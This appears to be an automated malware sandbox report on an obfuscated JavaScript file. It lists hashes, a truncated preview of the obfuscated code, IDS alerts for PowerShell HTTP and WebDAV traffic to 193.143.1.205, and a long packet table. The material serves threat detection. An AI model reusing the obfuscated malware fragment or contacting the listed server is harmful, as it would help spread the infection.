TrID:
File name:	296419801857622488.js
File size:	20'923 bytes
MD5:	3b762838a7685710d8f0a669c2fcfe7c
SHA1:	06e81ae68472d5790667fcd04406656eb6706e83
SHA256:	6ac98b18f2ae6d07004ebcfdfcfc1358f7a221f935934407e3e5417f9af50422
SHA512:	fbe02039403c4bde2c8fd1607168ac186ac5bf320eef16ad2835f0bf27636e02551bac3f7e916ad8f2b9a28b1618bdac138dda4f7e5a216eaecf8eeb61be86e1
SSDEEP:	384:4sVnH6TVa9MWhhazKsWst35v51IQ28ReUJ0vpbZAFHNwoSIEmUvmuAzpXznU3CVz:4sVnH6TVa9MWhhazKsWE1IQ2ee00vpbo
TLSH:	B29215C0E91A950B41E419B07B5E25DFB3EC0ACE9AE4158F1C69B08C1FDE198B5F28F5
File Content Preview:	function qjjqrrac(){wpykaskx=[1031,3079,5127,4103,2055,3072];var uxflvi=this[bzlpmti+cyunawds+wmttfnpua+pbbaoymbj+owkcnp+matrfdfjt+mrszuaj+hcfzkgens](this[tzvkesml+xjjxcei+asgupur+wmttfnpua+xqweotl+bzlpmti+hcfzkgens][nktan+wmttfnpua+owkcnp+cyunawds+hcfzkg

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:08:10.858769+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-10T21:08:13.603705+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:08:10.038763046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:10.043787956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:10.043872118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:10.046596050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:10.051412106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:10.858670950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:10.858700037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:10.858716011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:10.858731031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:10.858747005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:10.858761072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:10.858768940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:10.858776093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:10.858792067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:10.858807087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:10.858809948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:10.858823061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:10.858864069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:10.863634109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:10.902657032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:10.902676105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:10.902754068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.023472071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.023515940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.023540974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.023555040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.023566008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.023570061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.023592949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.023894072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.023906946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.023925066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.024091005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.024120092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.024121046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.024151087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.024164915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.024179935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.024703026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.024735928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.024740934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.024771929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.024789095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.024805069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.024981022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.024981022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.025644064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.025659084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.025674105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.025687933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.025702953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.025706053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.025726080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.026535034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.026550055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.026580095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.028407097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.028444052 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.053709984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.053764105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.053802967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.053841114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.103707075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.115854025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.151974916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152007103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152023077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152046919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152062893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152090073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152106047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.152107954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152148962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.152178049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.152287006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152306080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152323961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152338028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152431965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.152436972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152455091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152463913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152570009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.152681112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152697086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152712107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152736902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.152770996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.152892113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152910948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152926922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152941942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152956963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.152966976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.153002977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.153211117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.153245926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.153260946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.153273106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.153295994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.153315067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.153328896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.153356075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.153399944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.153778076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.153799057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.153815031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.153830051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.153839111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.153848886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.153856993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.153866053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.153891087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.153893948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.153937101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.154257059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.154280901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.154297113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.154330015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.154334068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.154352903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.154377937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.154381037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.154393911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.154411077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.154414892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.154438019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.154448032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.154454947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.154469967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.154489994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.154505968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.154546022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.155081034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.187922955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.187947035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.188035965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.208086014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.208112001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.208139896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.208153963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.208220005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.208267927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.244343042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.244390011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.244463921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.280177116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.280203104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.280221939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.280272007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.280294895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.280323982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.280342102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.280345917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.280356884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.280380964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.280383110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.280448914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.280567884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.280584097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.280600071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.280626059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.280843019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.280859947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.280874968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.280885935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.280894041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.280910969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.280924082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.280960083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.281084061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.281111956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.281131983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.281150103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.281166077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.281167030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.281193018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.281483889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.281500101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.281527996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.281532049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.281553030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.281573057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.281586885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.281589985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.281614065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.281908035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.281927109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.281941891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.281945944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.281980038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.282185078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.282217026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.282233953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.282248974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.282260895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.282267094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.282284021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.282289982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.282303095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.282319069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.282320976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.282335997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.282351971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.282354116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.282397985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.282818079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.282949924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.283005953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.283021927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.283037901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.283054113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.283051014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.283068895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.283087015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.283102989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.283121109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.283134937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.283135891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.283138990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.283135891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.283159018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.283173084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.283211946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.283843040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.283862114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.283878088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.283900976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.283905983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.283922911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.283937931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.283952951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.283956051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.283977985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.283984900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.283998966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.284014940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.284025908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.284029961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.284049034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.284054995 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.284085035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.284111977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.284794092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.284811974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.284827948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.284852982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.284959078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.284975052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.284990072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.285000086 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.285008907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.285027027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.285028934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.285043001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.285058975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.285068989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.285074949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.285094976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.285099983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.285134077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.285804987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.285823107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.285840034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.285866022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.293843985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.300446987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.300493956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.300509930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.300522089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.300529003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.300546885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.300554037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.300566912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.300585032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.326491117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.336659908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.336684942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.336704016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.336723089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.336747885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.356237888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.368357897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.372551918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.372575998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.372591972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.372606993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.372622013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.372637987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.372642040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.372658014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.372675896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.372693062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.372698069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.372737885 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.372761011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.372786045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.372801065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.372816086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.372822046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.372833014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.372850895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.372932911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.372947931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.372970104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.376435041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.386928082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.409073114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409130096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409143925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409163952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409179926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409183025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.409195900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409214020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409229040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409231901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.409281015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:08:11.409284115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:08:11.409301043 CET	80	49704	193.143.1.205	192.168.2.8
